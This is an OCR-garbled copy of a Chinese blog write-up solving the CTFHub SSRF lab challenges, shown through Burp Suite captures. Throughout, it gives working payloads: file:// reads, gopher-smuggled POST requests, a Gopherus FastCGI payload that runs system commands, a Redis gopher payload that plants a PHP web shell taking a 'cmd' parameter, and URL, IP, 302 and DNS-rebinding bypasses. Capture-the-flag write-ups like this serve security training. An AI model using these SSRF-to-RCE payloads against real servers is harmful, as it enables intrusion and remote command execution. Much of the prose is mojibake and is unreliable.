CTFHub-SSRF-Writeup

g

ﬁﬂ"%&mmm45mnm&ﬁﬁ‘)2m4 YA

SrRLR: CTE WHEIRSE: 24 web% g BB INIK 224 JElH

FRBLFE B . AR E R AR, W5 CC 4.0 BY-SA FRBUHIMNL, #5315 SC AL R A R 1
ASCHERZ: https://blog.csdn.net/liuhanzhe/article/details/121948042

¥

FE AL
CTF LRUTR LA %
1308 0T 1)
T LS
SSRF

CSDN @& F

=
I

P X5 1]
B IS VT W1 R, 3k B lag

R
Dy B 332 B S A


https://blog.csdn.net/liuhanzhe
https://blog.csdn.net/liuhanzhe/category_11539225.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25B8%2597%25E9%2580%258F%25E6%25B5%258B%25E8%25AF%2595&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8%25E6%25BC%258F%25E6%25B4%259E&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/liuhanzhe/article/details/121948042
https://blog.csdn.net/liuhanzhe/category_11539225.html

FRAR @ H &8 Ffile// i, 22 —Mweb H F/variwww/html/

[EJ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecun

- X
Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder ComparevIExlendev [iject options Iusev options | Alerts
23 5.
Go >y Target: 2.sandbox.ctfhub. 2|[?)
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /Turl=file:///var/wwm/htnl/flag php HITP/1. 1 4 HITP/1.1 200 OK s
Host: challenge-45974231558650b2. sandbox. ctfhub. com: 10800 Server: cpenresty/1.19.3.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecke/20100101 Firefox/90.0 Date: Tue, 24 Aug 2021 07:45:04 GNT
Accept: text/htnl, application/xhtml+xml, application/sml;q=0. 9, image/webp, */*; q=0. 8 Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HE; a=0. 5, en-US; g=0. 3, en; ¢=0. 2 Content-Length: 59
Cormection: close Cormection: close
Uperade-Insecure-Requests: 1 X-Powered-By: PHP/5. 6. 40
Cache-Control: max-age Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-Fith
Access-Control-Allow-Nethods: #*
<Iphp
// Flag is ctihub [385059618a97¢2a3167d185 e}
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Vi ll/?url=127.0.0.1/Mag.ph,i& 4 7T

EJ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosecn - O X
Burp Intruder Repeater Window Help
[Target T Proxy T Spider T Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Project options I User options TAJEI’T.S }
(232 [25 . |
Go Cancel < | > | Target: http://challenge-49d16fdd76cc4658.sandbox.ctfhub.com:10800 @ ?
Request Response
J RawI Params I Headers [ Hex 1 J RawT Headers T Hex T HTML T Render 1
aGET /Purl=127.0.0. 1/flag. php HITP/1.1 : HTTP/1.1 200 OK :
Host: challenge-49d16fdd76ccd658. sandbox. ctfhub. com: 10800 Server: openresty/1.19.3.2
User-Agent: Mozilla/5.0 (Vindows NT 10.0: Winf4; =64; Date: Wed, 25 Aug 2021 02:01:40 GNT
rv:90.0) Gecko/20100101 Firefox/90.0 Content-Type: text/html; charset=UTF-8
Accept: Content-Length: 131
text/html, application/xhtml+xml, application/zml; q=0.9, imag Conmection: close
a/webp, * /% q=0. 8 X-Powered-By: PHE/5. 6. 40
Accept-Language: Varv: Accept-Encoding
zh-CH, zh; q=0. 8, zh-TW; g=0. 7, zh-HK; q=0. 5, en-U3; q=0. 3, en; q=0 Access—Control-Allow-Origin: *
.2 Access-Control-Allow-Headers: X-Requested-Tith
Comnection: close Access-Control-Allow-Methods: #
Upgrade-Insecure-Requests: 1
<form action="/flag. php” method="post”>
<input type="text” name="key” >
{!-- Debug: key=99ch8729f8a7babdcaa367dc092c2fIc-->
<fform>
= e
v v
? < + > Type a search term 0 matches ? < + > Type a search term 0 matches
Dane Q‘.-éibﬁ'lesf?"ﬂ/ﬁﬂri'ﬁlis

A& —MormATFE K I key, HEM T E A formrP#E5ckey, F128INHEAS 144

<input type="submit" name="sbumit">

challenge-49d16fdd76cc4658.5a1 -+

&« &, O 8 challenge-49d16fdc
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{ETUH _F3EAckey, DU [H]"Just View From 127.0.0.1"

challenge-49d16fdd76cc4658.5: X +
<« C O 8 challenge-49d16fdd76cc4658.5

Just View From 127.0.0.1

AJ L I SSRFHRAC K, #iEPOSTiE K

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded

Content-Length: 36

key=99cb8729f8a7ba5dcaa367dc092c2f2c

BRI SSRF, HEHEAT R, FTLAR R BT 20K undR S, VR FICRLF, 55— UurdR e f 245 %0A R e
A %O0D%OA, it 15 3 R A

POST%2520/f1lag.php%2520HTTP/1.1%250D%250AH0st%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520applica
tion/Xx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D99cb8729f8a7ba5dcaa367

dc@92c2f2c

fi Flgopherki%i&3K, gophertiid ;& SSRF i F (1 — AN il :

gopher://IP:port/ {TCP/IP%




1% #flag

Burp Intruder Repeater Window Help

| [Target T Proxy T Spider T Scanner I Intruder T Repeater I Sequencer T Decoder T Comparer I Extender I Project options T Lser options T.Alerts 1
[z [ J2s < [ )
| &J Cance <|v Target: http://challenge 49d16fddT6cc4658.sandbox.ctfhub.com:10800 @J w

J Raw [ Params [ Headers T Hex 1 J Raw [ Headers T Hex 1
GET : HTTP/1.1 200 OF :
[Purl=gopher://127. 0. 0. 1:80/_POST%2520/f1ag. php%2520HTTP Server: openresty/1.19.3.2
1. 1%250D%250AH0 =t %253A%2520127. 0. 0. 1%253A80%250D%2504C Date: Wed, 25 Aug 2021 02:28:30 GNT
ntent-Type%2534%2520application/ x—www-form-urlencoded4%25 Content-Tvpe: text/html; charset=UTF-8
OD%250AContent-Length%2534%252036%250D%2004A%250D% 2504Akey Content-Length: 206
%253099cb8729f8aThabdeaa367del92c2f2c HITP/1. 1 Comnection: close
Host: ¥-Powered-By: FHP/G. 6. 40
challenge-49d16fdd76cc4658. sandbox. ctfhub. com: 10800 Varv: Accept-Encoding
User-Agent: Mozilla/5.0 (Windows NT 10.0: Winf4: =64 Access-Control-Allow-Origin: *
rv:90.0) Gecko/20100101 Firefox/90.0 Access—Control-Allow-Headers: X-Requested-Tith
Accept: Access—Control-Allow-Nethods: *
text/html, application/zhtml+xml, application/zml; q=0. 9, im
age/webp, *¥/*: q=0. 8 HTTP/1.1 200 OK
Accept-Language: Date: Wed, 25 Aug 2021 02:28:25 GNT
zh-CN, zh; q=0. 8, zh-TW; g=0. 7, zh-HEK ; q=0. 5, en-US; ¢=0. 3, en; q= Server: Apache/2.4.25 (Debian)
0.2 X-Powered-Bv: PHP/S. 6. 40
Comnection: close Content-Length: 32
Upgrade-Insecure-Requests: 1 Content-Tvpe: text/html; charset=UTF-8
ctfhub {efe4h886b861255aa98417h8}
- -
v v
L_E:J L_f_J L_t_J L_f_J Type a search term 0 matches L_E:J L_f_J L_t_J L_f_J Type a search term 0 matches
Done 535t | £8 55 s

SCAF bk
i FfilePh il & flag.php, AAIBHEE T EALipAISCE /DN, FrATE B M127.0.0.1 AR i

<?php

error_reporting(9);

if(isset($_FILES][ 1) $_FILES[
echo getenv( );

exit;

Upload Webshell

form action method enctype

input type name

form



il /?url=127.0.0.1/flag.php , IR [E—3CfF EALform, HEHE S 7 B A O3k Bflag, F1248 N2 #4241

challenge-426ad735267eb08d.c- X +

<« C O & challenge-426ad73526
Upload Webshell _ .
... | BRI ==

A A AR, IR SR, B khost’y127.0.0.1:80

Request

j RawT Params I Headers T Hex ]

POST /flag. php HITF/1.1

Host: challenge-426ad735267eb08d. sandbox. ctfhub. com: 10800

Content-Length: 280

Cache-Control: maxz-age=0

Upgrade-Insecure-Requests: 1

Origin: http://challenge-426ad735267eb08d. sandbox. ctfhub. com: 10800

Content-Type: multipart/form-data: boundary=—-—-TebKitFormPoundaryN948Pen]l ANIPrVa

User-Agent: Mozilla/5.0 (Windows NT 10.0; Vin64: =64) AppleWebKit/537.36 (EHTNL, like Gecko) Chrome/92. 0. 4515, 159
Safari/537. 36

Accept:

text/html, application/xhtml+zml, application/zml; q=0.9, image/avif, image/webp, image/apng, ¥/%; q=0. 8, application/signe
d-exchange;v=b3:q=0.9

Referer: http://challenge-426ad735267eb08d. sandbox. ctfhub. com: 10800/ url1=127. 0. 0. 1/flag. plp

Accept-Language: zh-CI, zh;g=0.9

Cookie: UN_distinctid=1ThIf471020f2e-06f3628eTeTefe-4343363-1Fa400-1Tb2f47102110£5

Comnection: close

—————— VebKitFormPoundarvil9AEPen]l ALNIPrTa
Content-Disposition: form-data; name="file”; filename="123. txt”
Content-Type: text/plain

—————— VebKitFormPoundarvil9AEPen]l ALNIPrTa
Content-Disposition: form-data; name="123"

—————— WebKitFormBoundaryl948Penl ALNIPria-- CSDN @4
D = H
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POST%2520%252Ff1lag.php%2520HTTP%252F1.1%250D%250AH0st%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252]
0280%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A0rigin
%253A%2520http%253A%252F%252Fchallenge-426ad735267eb08d. sandbox. ctfhub.com%253A10800%250D%250AContent - Type%253A%
2520multipart%252Fform-data%253B%2520boundary%253D- - - -WebKitFormBoundaryM9A8Pen1AKNIPriWa%250D%250AUser-Agent%253
A%2520Mozil1a%252F5.0%2520 (Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64 )%2520AppleWebKit%252F537 .36%2520(
KHTML%252C%252011ike%2520Gecko)%2520Chrome%252F92.0.4515.159%2520Safari%252F537.36%250D%250AAccept%253A%2520text
252Fhtml%252Capplication%252Fxhtml1%252Bxm1%252Capplication%252Fxml1%253Bq%253D0.9%252Cimage%252Favif%252Cimage%25
2Fwebp%252Cimage%252Fapng%252C*%252F*%253Bq%253D0. 8%252Capplication%252Fsigned-exchange%253Bv%253Db3%253Bq%253D0
.9%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-426ad735267eb@8d. sandbox.ctfhub.com%253A10800%252F%253
Furl%253D127.0.0.1%252Fflag.php%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0 . 9%250D%250ACookie%253
A%2520UM_distinctid%253D17b2f471020f2e-0613628e7e7e6e-4343363-1fa400-17b2f4710211015%250D%250AConnection%253A%25
20close%250D%250A%250D%250A WebKitFormBoundaryM9A8Penl1AKNIPriWa%250D%250AContent-Disposition%253A%2520form-d
ata%253B%2520name’%253D%2522f11e%2522%253B%2520filename%253D%2522123 . txt%2522%250D%250AContent-Type%253A%2520text
%252Fplain%250D%250A%250D%250A123%250D%250A WebKitFormBoundaryM9A8Pen1AKNIPria%250D%250AContent-Disposition
%253A%2520form-data%253B%2520name%253D%2522123%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A47%
25C2%25BA%25C2%25A4%250D%250A WebKitFormBoundaryM9A8PenlAKNIPria- -

i FHgopher & i%i& =k, 75%Fflag

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

. HITP/1.1 200 OK

Server: openresty/l.19.3.2

Date: Wed, 25 Aug 2021 03:20:06 GHT

Content-Type: text/html; charset=UIF-8
Omul tipa Content-Length: 225

er-Ag Comnection: close

X-Powered-By: PHP/5. 6. 40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Ac ontrol-Allow-Headers: X-Requested-Tith
Access—Control-Allow-NMethods: *

T

Fchalleng f T 53A10800%252F%
250D%250AAccept -Language' 2Czh%253Bq%253D0. HTTP/1.1 200 OK
21471020128 6 -4343363-1£a400-17b2 Date: Wed, 25 Aug 2021 03:20:06 GNT
14710211015 504%250D%250, bKi tRormBoundaryl9A Server: Apache/Z.4.25 (Debian)
Penl AKNIPrTa% 250D%250AContent-Disposi 253A%2520form-data%253B%2520name% 2534 252211 82522 X-Powered-By: PHP/5. 6. 40
253B%. Lem; 3D%: e g 2! Content-Length: 32
A 2 25 C Comnection: close
Content-Type: text/html; charset=UTF-8

2% e
HITP/1. 1 ctfhub {d311b781a4da046bed8507d0}
Host: challenge-426ad735267eb08d. sandbox. ctthub. com: 10800

User-Agent: Nozilla/5.0 (Vindows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html, application/shtml+sml, application/snl;q=0.9, image/webp, */*; q=0. 8
Accept-Language: zh-Cl, zh; g=0. 8, zh-TW; =0, 7, zh-HK; ¢=0. 5, en-US; 4=0. 3, en; q=0. 2

Comnection: close

Upgrade-Insecure-Requests: 1

L L

g d
(2] (=) () () [Fope 2 semch e Omatches | (2] (=) (] (3] [Tooe @ e o 0 matches
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fastcgitf /44
gopher payload T. F.
{i FHgopherus T 2.4 lipayload, &1T#4 1s /

-[~/tools/Gopherus]
gopherus.py fastcgi

OREMOTE ADDR127. . -EEUEE PEDTD
PHP VALUE411DW url i :

Made-by-SpyD3r

-[~/tools/Gopherus]

HEATurZm s 5 15 21142 22 payload

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%25017%2500%2508%2500%25007%2500%2501%25007%25007%2500%2500%25007%2
500%2501%2504%25007%2501%2501%25047%25047%2500%250F%2510SERVER_SOF TWAREg0%2520%2F%2520fcgiclient%2520%250B%2509REMO
TE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KP|
HP_VALUEallow_url_include%2520%253D%25200n%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%25207%253D%

2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww’%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2
500%2500%2500%2501%2504%2500%2501%25007%2500%2500%25007%2501%2505%2500%25017%25008%2504%2500%253C%253Fphp%2520syste
m%2528%252715%2520%2F%2527%2529%253Bdie%2528%2527 -by- %250A%2527%2529%253B%253F%253E%2500%250
0%25007%2500



https://blog.csdn.net/mysteryflower/article/details/94386461
https://github.com/tarunkant/Gopherus

FOEUER, IR/ N H AL KB flag ST

[ 8urp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecn
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | Intruder Repea:er[Sequencer Decoder | Comparer | Extender ijecnmmns[Userapms Alets

[23  Jae - 25 < J26 < Jor < [28 < [29  J30 - [31 < [az [ ]

Target: andbox.ctfhub.com:10800 w w
Raw | Params | Headers | Hex Raw | Headers | Hex
\a HITP/1.1 200 OK L]
. 0. 1%3A0000%2F_% 500%250 1%2500%2508% 5 Server: openresty/1.19.3.2
4% 250 0% 250 1% 2! R J Date: Wed, 25 Aug 2021 04:02:54 GNT
Content-Type: text/html; charset=UTF-8
Commection: close
X-Powered-By: PHP/5. 6. 40
-Allow-Origin: *
0% 2F% 25 9 -Allow-Heade: X-Requested-Vith
00%2500 HTTP/1. 1 -Allow-MNethods: #
Host: challenge-felbcef86e80£690. x. et fhub. com: 10800 Content-Length: 424
User-Agent: Nozilla/5.0 (Vindows L 0; TinG4; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp, #/%*; q=0. & H X-Powered-By: PHP/S. 6. 40
Accept-Language: zh-Cl, zh; g=0. 8, zh-T7; 9=0. 7, zh-HK; a=0. 5, en-US; q=0. 3, en; q=0. 2 Content-type: text/html; charset=UTF-8
Cormection: close
Upgrade-Insecure-Requests: 1 bin
dev
etc
& flag 14e0bab51d369£7992793e0062395dc
home
1ib
media
mt
proc
root
run
shin
srv
sys
tmp
usr
var
————— Made-by-SpyD3r-—---
htm
k k
v 4
w u u u T 0 matches w LJ u w Type a 0 matches

Done

T3 lot b a5 railis

i FHgopherus L B4 lipayload, i&1T7#4 cat /flag_14e@ba551d3697992793e@b62395dc5

livhanzhe@kali: ~ftools/Gopherus

X+ mhfE B ZEF FHI

-[~/tools/Gopherus]

fastcgl

/html/inde

Made-by-SpyD3r

-[~/tools/Gopherus]

HEAT urlgm s 5 15 21142 22 payload




gopher%3A%2F%2F127.0.0.1%3A9000%2F %2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2
500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgZ0%2520%2F%2520fcgiclient%2520%250B%2509REMO
TE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT _LENGTH94%250E%2504REQUEST_METHODPOST%2509KP|
HP_VALUEallow_url include%2520%253D%25200n%250Adisable functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%

2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2
500%2500%2500%2501%2504%2500%2501%2500%2500%25007%25007%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520s
ystem%2528%2527cat%2520%2Fflag_14e0ba551d36917992793e0b62395dc5%2527%2529%253Bdie%2528%2527 Made-by-SpyD3r--
---%250A%2527%2529%253B%253F%253E%2500%25007%2500%2500

KIEWGR, f5fag

[/ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxex@®fosecn - X
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | Intruder | Repeater [ Sequencer | Decoder | Comparer | Extender | Project options [Usevopnons Alets
[23 XTZAX TZE XTZB XTZ? XIZE XIZQ x T]D x TZT x TBZXT, 1

Go Cancel <|r > v Target: andbox.ctfhub.com:10800 ww

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

a HITP/1.1 200 OK .
7. 0. 0. 1%34900082F Server: openresty/1.19.3.2 r
2504%2500%250 1%25( 504%2504%250! Date: Ved, 25 Aug 2021 04:08:10 GNT
2508SERVER | Content-Type: text/html; charset=UTF-§
w_url_include = Commection: close
IPT_FILENANE%2Fvar! X-Powered-By: PHP/5. 6. 40
00%2500%2!
Content-Length: 168
challenge-felbcef86e80£690. sandbox. ctflub. com: 10800
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Vin64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 e X-Powered-By: PHP/S. 6. 40
Accept: text/html, application/xhtml+xml, application/xnl;q=0.9, image /webp, /% q=0. 8 Content-type: text/html; charset=UTF-8
Accept-Language: zh-Cl, zh; g=0. 8, zh-T7; 9=0. 7, zh-HK; a=0. 5, en-US; q=0. 3, en; q=0. 2
Cormection: close ctfhub {35c¢8a721943e0d256996c613}
Upgrade-Insecure-Requests: 1 Made-by-SpyD3r—-——
htm
L L
v 4
wbjuu Type a search term 0 matches LLJLJ uu Type a search term 0 matches
Done Ctlshte s a0t milis

Redist/riX
7 Redis ' SSRF {1 ]

redis’5 shelldy 411

$_GET
dir /var/www/html

dbfilename feng.php



https://xz.aliyun.com/t/5665

{4 FHgopherus T. 4= pliredis Wit payload

-[~/tools/Gopherus]
gopherus.py redis

Ready To get SHELL

PHPShell

Aflushall

When it's done you can get PHP Shell in /shell.php at the server with “cmd™ as parmeter.

Made-by-SpyD3r

HEAT urlZi i 45 211% 3K payload

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Af1ushall%250D%250A%252A3%250D%250A%25243%250D)
%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524 GET%2|
55B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%25

OA%25243%250D%250Aset%250D%250A%25243%250D%250Ad1r%250D%250A%252413%250D%250A%2F var%2Fwww%2Fhtm1%250D%250A%252A4]
%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename’%250D%250A%252,
49%250D%250Ashell . php%250D%250A%252A1%250D%250A%25244%250D%250As ave%250D%250A%250A




TR JE A A ikshell.phpSCft, RIS %emd, #iEiEK /shell.php?cmd=1s%20/

E | Burp Suite Professional v1.7.26 - Temparary Project - licensed to Larry Lau - Unlimited by mxcx@fosecan -

Burp Intruder Repeater Window Help

[Target I Proxy T Spider T Scanner T Intruder IRepeater T Sequencer I Decoder I Comparer I Extender T Project options I User options I}'-\Ierts 1

[23 « 24 « [25 < [26 « [27 « [28 « J29 « [30 « [31 « [32 .« [33. ] |

Go Cancel < |v > |

Request

J Raw T Params [ Headers [ Hex 1

Response

| Raw [ Headers | Hex |

Target: http:/ichallenge-0f1a6109d8ba%68.sandbox.ctfhub.com:10800 @ BJ

GET Vshell.php?cmd=ls%20f HITR/1.1 A
Host: [
challenge-0f1af109d8ba%el8. sandbox. ctfhub. com: 10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
%64: rv:90.0) Geecko/20100101 Firefox/90.0
Accept:
text/html, application/xhtml +xml, application/zml ; g=0. 9
, image/webp, */*; q=0. 8
Accept-Language:
zh-CHN, zh; q=0. 3, zh-TW; g=0. 7, zh-HK; q=0. 5, en-US; g=0. 3, e
n;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
-
¥
? < + = Type a search term 0 matches

Date: Wed, 25 Aug 2021 06:11:36 GNT
Content-Type: text/html; charset=UTF-8
Content-Length: 237

Comnection: close

X-Powered-By: PHF/5. 6. 40

Varv: Accept-Encoding
Access—Control-Allow-Origin: #*
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Nethods: *

REDIS0007 redis—ver 3.2.6
redis-bitsii ctimef#  %a used-memlfid
Procfile

bin

boot

dev

dump. rdb

etc

flag 1d41ab57dcc1507d5d99e103cdcab2da
goreman

home

1ib

1ib64

e S

? < + > | | Type a search term

=
¥

0 matches

E63 thQ'l 5 S@Fﬁé’lmﬁ s




$REflag i, PRI R /shell.php?cemd=cat%20/flag_1d41ab57dcc1507d5d99e103cdcas2da 3k 3Hlag

E| Burp Suite Professional v1.7.26 - Temporary Praject - licensed to Larry_Lau - Unlimited by mxcx@fasecn - O X

Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner [ Intruder [ Repeater T Sequencer [ Decoder I Comparer I Extender T Project options I User options TAIerts 1
(23 « {24 « [ 25 « [26 « [27 « {28 « [29 « [30 « 31+ (32 « [23. ] - ]

Go Cancel < | > | Target: http://challenge-0f1a6109d8ba%e68.sandbox.ctfhub.com: 10800 P@ ?

Request Response
J Raw T Params T Headers T Hex ] _[ Raw I Headers T Hex ]
GET :— HITF/1.1 200 OK :
[shell. php?emd=cat%20/flag 1d41ab5Tdee1507d5d992103d Server: openresty/1.19.3.2
cabZda HTTPfl.l Date: Wed, 25 Aug 2021 06:16:22 GNT
Host: Content-Type: text/html; charset=UTF-&
challenge-0£f1a6109d8ba%9e68. sandbox. ctfhub. com: 10800 Content-Length: 121
User-Agent: Mozilla/5.0 (Windows NT 10.0: Winf4; Comnection: close
x64; 1v:90.0) Gecko/20100101 Firefox/90.0 X-Powered-By: PHP/G. 6. 40
Accept: Varv: Accept-Encoding
text/html, application/zhtml +xml, application/zml ; q=0. 9, Access—Control-AllowOrigin: *
image/webp, */%: q=0. 8 Access-Control-Allow-Headers: X-Requested-With
Accept-Language: Access—Control-Allow-MNethods: *
zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en
cq=0. 2 REDIS0007 redis—ver 3.2.6
Commection: close redis—bhitsi} ctimeff#  %a used-memlffd
Upgrade-Insecure-Requests: 1 7
ctfhub {37172c9155b6£3d0bTh 1bb35}
0=% i -
- -
v v

? < + = Type a search term 0 matches ? < + = Type a search term 0 matches

Daone rzfq-f-d\'fleér-f'g,’:’l n;mlis
URL Bypasss

Vi A Hi k378 "start with http://notfound. ctfhub.com", AT LAFEE LA http://notfound. ctfhub. com T3k, &5 Alurlil T RHEL
flag

/?url=http://notfound.ctfhub.com@l127.0.0.1/flag.php

#+IP Bypass

A H $7rbantsl 1127 A SAT2 AT s+t il 1P, B 3 E717127.0.0.1

b /J{)\ Tt
fi Flocalhostft# 127.0.0.1, /& iE Rurlin ~, 3kHiflag

/?url=http://localhost/flag.php

o ik
$127.0.0. 154163 #]0x7F000001  #i& i sRurlin T, 3kHiflag

/?url=http://0x7F000001/f1lag.php



3023k ¥ Bypass

H $ER 38 7127.0.0.1, T CFIP BypassT] LAt ,

B PRI

{ER R A I 30218k e geid, AT LAA: il i 4 302k 4% 3R A5 flag, il fik

E_ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn

Burp Intruder Repeater Window Help

(mnn

[Target T Proxy T Spider T Scanner T Intruder TRepeatef I Sequencer T Decoder [ Comparer T Extender I Project options I User options [Alerts ]

7 Go Cancel < |r >|r

Request

1jRaw T Params [ Headers T Hex ]

Target: http:fichallenge-fe22857ead27603c.sandbox.ctfhub.com:10800 .f ?

Response

jRaw | Headers | Hex |

GET f?url=https://my5353. com/ugs3i HTTR/1.1 HTTR/1.1 200 OK A
Host: challenge-fa22857 ead27603c. sandbox. ctfhub. com: 10800 Server: openresty/1.19.3.2 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv:85.0) Date: Tue, 24 Aug 2021 16:06:20 GMT
Gecko/20100101 Firefox/85.0 Content-Type: text/html; charset=UTF-8
Accept: Connection: close
text/html application/xhtml+xml application/xml;g=0.9 imagefwebp "/, q X-Powered-By: PHP/5.6.40
=0.8 Access-Control-Allow-Origin: *
Accept-Language: Access-Control-Allow-Headers: X-Requested-With
zh-CN zh;q=0.8 zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Access-Control-&llow-Methods: *
Connection: close Content-Length: 32
Upgrade-Insecure-Requests; 1
Cache-Contral: max-age=0 ctfthub{94 c034eda0f2c1bcc18f5cd6}
I
- 3
¥ ¥
? < + = Type a search term 0 matches 7 < + = Type a search term 0 matches
Daone 334 bytes)| ]a.*_]jdfiil\mla

DNSE 48 &

DNS H5. 4 i€ I il

15 Fifile://Th il B & flag.php TR EACAS R B € T /127 |172]10|192/ 13k, A LLA16#EH] 7 geid, (522 e )8 H E kA4 H
DNSE 4 g

f# Frbndr.us dns rebinding service 3k BUis 4

This page will help to generate a hostname for use with testing for dns rebinding vt
To use this page, enter two ip addresses you would like to switch between. The host

All source code available here.

A[127.0.0.1 |B[127.0.0.2

7f000001.7f000002.rbndr.us


https://my5353.com/
https://zhuanlan.zhihu.com/p/89426041
https://lock.cmpxchg8b.com/rebinder.html

Vi Al 5k flag

Burp Intruder Repeater Window Help

[Target T Proxy [ Spider T Scanner T Intruder TRepeater T Sequencer I Decoder I Comparer T Extender T Project options T User options TA|EI’T.S 1

[23xlzaxlzsxlzaxlzvxlzsxlzsxlmxlmxl3zx133xlmxm

Go Cancel < |v >|r Target: http://challenge-407da139aa113bfé6.sandbox.ctfhub.com:10800 | & || 7

Request

J RawT Params I Headers I Hex ]

Response

[ Raw | Headers | Hex |

GET /Purl=T£000001. T£000002. rhndr. us/flag. php HITR/1.1 :
Host:
challenge-407dal3%9all3bfh. sandbox. ctfhub. com: 10800
User-Agent : Nozilla/5.0 (Windows NT 10.0: Win64; =64;
rv:90. 0) Gecko/20100101 Firefox/90.0
Accept:
text/html, application/shtml+zml, application/=zml : g=0. 9, im
age/webp, */* q=0. §
Accept-Language:
zh-Cl, zh; q=0. 8, zh-TV; q=0. 7, zh-HEK; q=0. 5, en-U3; g=0. 3, en; q
=0. 2
Comnection: close
Upgrade-Insecure-Requests: 1
-
v
? < + > Type a search term 0 matches

HTTR/1.1 200 OK

Server: openrestyv/1.19.3.2

Date: Wed, 25 Aug 2021 06:51:17 GNT
Content-Type: text/html; charset=UTF-8
Content-Length: 32

Commection: close

¥-Powered-By: PHP/5. 6. 40
Access-Control-Allow-Origin: @

Access—Control-Allow-Headers: X-Requested-With

Access—Control-Allow-Nethods: *

ctfhub {2605d00ef57b8e42b2b899 1)

e

=
Y

EJ lZJ EJ EJ Type a search term

0 matches

Faf thotes (2% raillis
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